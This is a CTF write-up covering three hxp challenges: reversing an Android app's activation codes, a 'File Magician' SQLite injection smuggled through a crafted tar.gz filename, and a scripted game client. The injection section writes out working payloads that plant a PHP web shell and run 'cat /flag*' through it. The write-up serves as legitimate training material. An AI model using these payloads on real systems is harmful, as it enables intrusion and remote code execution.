1337 skills
Task description:
It’s too hard to gain all 1337 h4x0r skills required by nowadays CTFs ._.! I am glad a friendly hacker told me about an App he got during a (growth) hacking course. Sadly, he didn’t wrote down any activations codes.
Ready for your hacking exam?
As can be read above, an Android app was given at the beginning of the challenge, with the hint to get a valid activation code for it.
I’ve decided to just analyze it statically at first, so I’ve grabbed the apk
from apkpure. Then, I’ve decompiled it with BytecodeViewer.
Searching for the string activat
in the whole application revealed the following method in the MainActivity
class:
public void activateApp(View var1) {
int var2;
try {
var2 = Integer.parseInt(this.editTextActivation.getText().toString());
} catch (NumberFormatException var5) {
var2 = -1;
}
Calendar var6 = Calendar.getInstance();
if (var2 == (int)(Math.pow((double)(var6.get(3) * var6.get(1)), 2.0D) % 999983.0D)) {
this.findViewById(2131296458).setVisibility(4);
((InputMethodManager)this.getSystemService("input_method")).hideSoftInputFromWindow(this.editTextActivation.getWindowToken(), 0);
Editor var7 = this.prefsmain.edit();
var7.putBoolean("Activated", true);
long var3 = (new Date()).getTime();
var7.putLong("Installed", var3);
var7.putLong("ActivationDate", var3);
var7.commit();
} else {
Toast.makeText(this, "Ungültiger Aktivierungscode", 1).show();
this.editTextActivation.requestFocus();
((InputMethodManager)this.getSystemService("input_method")).showSoftInput(this.editTextActivation, 1);
}
}
I proceeded by just pasting the decompiler output in a new Java source file and building a simple application around it that prints the expected value:
import java.util.*;
public class yolo
{
public static void main (String[] args)
{
Calendar var6 = Calendar.getInstance();
int test = ((int)(Math.pow((double)(var6.get(3) * var6.get(1)), 2.0D) % 999983.0D));
System.out.print(test);
}
}
This printed 667518
as activation code.
Connecting to the challenge service and submitting this value shows that in order to solve the challenge, more activation codes are required. The Android application manages some sort of courses, which can be activated individually. It’s required to get an activation code for all courses to pass the challenge. Luckily, MainActivity
has us covered again:
public void courseActivation(View var1) {
[...]
if (var4.equals("sgk258")) {
[...]
} else {
Toast.makeText(this, "Ungültiger Aktivierungscode", 1).show();
}
break;
case 1:
if (var4.equals("wmt275")) {
[...]
} else {
Toast.makeText(this, "Ungültiger Aktivierungscode", 1).show();
}
}
} else if (var4.equals("udh736")) {
[...]
} else {
Toast.makeText(this, "Ungültiger Aktivierungscode", 1).show();
}
}
Now those codes have to be submitted in order:
$ nc 88.198.154.132 7002
Activation code:
667518
activated!
Sales activation code:
sgk258
activated!
Leadership activation code:
wmt275
activated
Service Roadmap (SRM) activation code:
udh736
activated!
Congratulations please give me your name:
bananaboiii
______________________________
/ \ \.
| | |.
\_ | |.
| Certificate of Attendance |.
| |.
| This is to certify that |.
| |.
| bananaboiii |.
| |.
| has attended |.
| |.
| **The baby rev challenge** |.
| |.
| |.
| hxp |.
| |.
| -------------------------- |.
| |.
|hxp{thx_f0r_4773nd1n6_70d4y}|.
| |.
| _________________________|___
| / /.
\_/____________________________/.
File Magician:
Challenge description:
Finally (again), a minimalistic, open-source file hosting solution.
The PHP source code for this challenge was given.
Opening the challenge in a browser shows a simple file upload form. It also shows the uploaded files afterwards and allows downloading them. Additionally, the output of file $file
is shown next to the download link. The web application uses SQLite to store this meta data.
While analyzing the source code, this was found to be rather suspicious:
if (isset($_FILES['file']) && $_FILES['file']['size'] < 10*1024 ){
$s = "INSERT INTO upload(info) VALUES ('" .(new finfo)->file($_FILES['file']['tmp_name']). " ');";
$db->exec($s);
[...]
}
The web application passes the output of (new finfo)->file($file)
to the database without prior sanitation. This means that SQLite injection can be achieved by causing the file $file
call to output the injection payload.
The initial approach was to check the filetype database of GNU file to find a file type that allows to control the output. The Magdir
files in the link above use the placeholder %s
exactly for this cause. While messing around with several files, it was found that .tar.gz
files can be used for this:
$ file /tmp/yolo.tar.gz
/tmp/yolo.tar.gz: gzip compressed data, was "yolo.tar", last modified: Sat Dec 28 20:52:03 2019, from Unix, original size modulo 2^32 10240
Uploading this file in the web application confirms that the was "yolo.tar"
is also shown and therefore was also processed by the $db->exec()
call. Let’s grab your favorite hex editor and add a simple SQL injection POC right after the file name that’s being displayed:
Now that it was confirmed to work, it’s required to read the flag from the target. I’ve used a PHP web shell that was uploaded using this exploit. These are the database calls that were used and injected into the .tar.gz
file:
');ATTACH DATABASE 'x.php' AS lol; CREATE TABLE lol.pwn (dataz text);--
');ATTACH DATABASE 'x.php' AS lol; INSERT INTO lol.pwn (dataz) VALUES ('<?=`$_GET[1]`?>');--
The payload was stolen from here and modified.
There are some restrictions regarding the embedded SQL payload: There’s a size limit, so the payload was split into two separate files. One creates a new .php
file and the other one writes a minimal PHP shell to it. A relative path (x.php
) was chosen since this already points to a directory that’s both writable and executable via a link.
After that, visiting this link prints the flag:
http://78.47.152.131:8000/files/[dir]/x.php?1=cat%20/flag*`
This is the output:
SQLite format 3@ .0: ��/GtablepwnpwnCREATE TABLE pwn (dataz text) ��+hxp{I should have listened to my mum about not trusting files about files}
Catch The Flag
Task description:
Just catch me.
Well Ok.
A game source code and client were given. Executing ./client.py 78.47.17.200 7888
drops you into the game:
After analyzing the source code it becomes clear that the players can move in the map with WASD keys. All of this is not shown in the game client itself, only events are displayed. These events are:
- You are walking against a wall
- You are about to drop into a pit and will die eventually
- You “smell” a flag
The flag string was split into individual characters and placed on the map into a line:
flag = []
with open("flag.txt", "r") as f:
tmp = f.read().strip()
for x, i in enumerate(tmp):
flag.append(FlagChar(i, (width // 2) - (len(tmp) // 2) + x, height // 2, width, height))
The goal is to blindly catch all flag characters and assemble the flag from them afterwards. The layout of the map is not initially known to the player. Also, the flag characters move randomly after the player has taken some steps on the map. This effectively shuffles the flag characters over time and makes assembling the flag harder.
While all of this can be done manually and from the game client GUI, the service speaks a very simple ASCII based protocol that can be accessed with nc
or pwntools
. Hence, the interaction with the game can be scripted.
The fact that the flag characters are moving over time is quite interesting and allows catching all individual characters easily and in a scriptable manner. During tests it was found that there exists a long path on the map without any pits. By continuously walking left and right, the flag characters will eventually move into the path of the player and can therefore be caught.
I’ve used this beautiful script for that:
#!/usr/bin/env python2
from pwn import *
flags = []
def doIt():
global flags
try:
io = remote("78.47.17.200", 7888)
while True:
io.sendline("s")
line = io.recvline()
if "iw" in line:
continue
if "i" in line:
continue
if "smell" in line:
continue
if "breeze" in line:
continue
if "f" in line and "h" in line:
print "** Got: " + line
flags.append(line)
# walk to the path way
keys = []
keys.extend(["s"] * 7)
keys.extend(["w"] * 12)
keys.extend(["s"] * 2)
keys.extend(["d"] * 1)
keys.extend(["s"] * 1)
keys.extend(["d"] * 3)
keys.extend(["s"] * 1)
keys.extend(["d"] * 2)
keys.extend(["s"] * 4)
keys.extend(["w"] * 2)
keys.extend(["d"] * 4)
keys.extend(["a"] * 1)
keys.extend(["w"] * 4)
keys.extend(["d"] * 5)
line = ""
for key in keys:
io.sendline(key)
line = io.recvline()
if "f" in line:
flags.append(line)
print "** Got: " + line
print "*** STARTING ****"
# walk left and right and catch all chars
while True:
for i in range(5):
io.sendline("d")
line = io.recvline()
if "f" in line:
flags.append(line)
print "** Got: " + line
elif "Congrat" in line:
print "*** DONE ***"
print line
for i in range(5):
io.sendline("a")
line = io.recvline()
if "f" in line:
flags.append(line)
print "** Got: " + line
elif "Congrat" in line:
print "*** DONE ***"
print line
if "d" in line:
print "Dead"
except Exception as e:
print flags
doIt()
Executing it dumps all flag characters:
The flag characters therefore are:
hp0ctrw4_ax_n_0w{tg11tuhttny__0yc_3hd_d}nm
There’s only one issue: How to assemble the flag from this? I wasn’t able to solve this during the CTF unfortunately :( Pls send help.
Update: @galli_leo_ managed to get the flag, as described here. The characters move randomly - however the PRNG is seeded with time.time()
.
Therefore the movement can be predicted :)
Thanks to hxp for the great challenges and for hosting the CTF this year :)